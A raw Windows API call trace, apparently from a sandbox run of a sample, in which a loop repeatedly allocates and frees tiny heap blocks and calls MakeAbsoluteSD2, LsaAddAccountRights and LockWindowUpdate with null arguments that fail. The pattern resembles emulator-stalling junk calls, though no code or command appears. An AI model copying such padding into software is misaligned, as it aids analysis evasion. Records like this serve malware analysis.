	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.994] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.994] GetLastError () returned 0x57
	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.994] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.994] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.995] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.995] GetLastError () returned 0x57
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.996] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.996] GetLastError () returned 0x57
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.996] GetLastError () returned 0x57
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.996] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.996] GetLastError () returned 0x57
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.996] GetLastError () returned 0x57
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.996] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.996] GetLastError () returned 0x57
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.996] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.996] GetLastError () returned 0x57
	[0048.996] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.997] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.997] GetLastError () returned 0x57
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.997] GetLastError () returned 0x57
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.997] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.997] GetLastError () returned 0x57
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.997] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.997] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.997] GetLastError () returned 0x57
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.997] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.997] GetLastError () returned 0x57
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.997] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.997] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.998] GetLastError () returned 0x57
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.998] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.998] GetLastError () returned 0x57
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.998] GetLastError () returned 0x57
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.998] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.998] GetLastError () returned 0x57
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.998] GetLastError () returned 0x57
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.998] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.998] GetLastError () returned 0x57
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.998] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.998] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.998] GetLastError () returned 0x57
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.999] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.999] GetLastError () returned 0x57
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.999] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.999] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.999] GetLastError () returned 0x57
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.999] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.999] GetLastError () returned 0x57
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.999] GetLastError () returned 0x57
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.999] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.999] GetLastError () returned 0x57
	[0048.999] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.999] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.000] GetLastError () returned 0x57
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.000] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.000] GetLastError () returned 0x57
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.000] GetLastError () returned 0x57
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.000] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.000] GetLastError () returned 0x57
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.000] GetLastError () returned 0x57
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.000] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.000] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.000] GetLastError () returned 0x57
	[0049.000] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.000] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0049.000] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.001] GetLastError () returned 0x57
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.001] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.001] GetLastError () returned 0x57
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.001] GetLastError () returned 0x57
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.001] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.001] GetLastError () returned 0x57
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.001] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.001] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.001] GetLastError () returned 0x57
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.002] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.002] GetLastError () returned 0x57
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.002] GetLastError () returned 0x57
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.002] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.002] GetLastError () returned 0x57
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.002] GetLastError () returned 0x57
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.002] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.002] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.002] GetLastError () returned 0x57
	[0049.002] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.002] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0049.002] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.003] GetLastError () returned 0x57
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.003] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0049.003] GetLastError () returned 0x57
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.003] GetLastError () returned 0x57
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.003] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.003] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
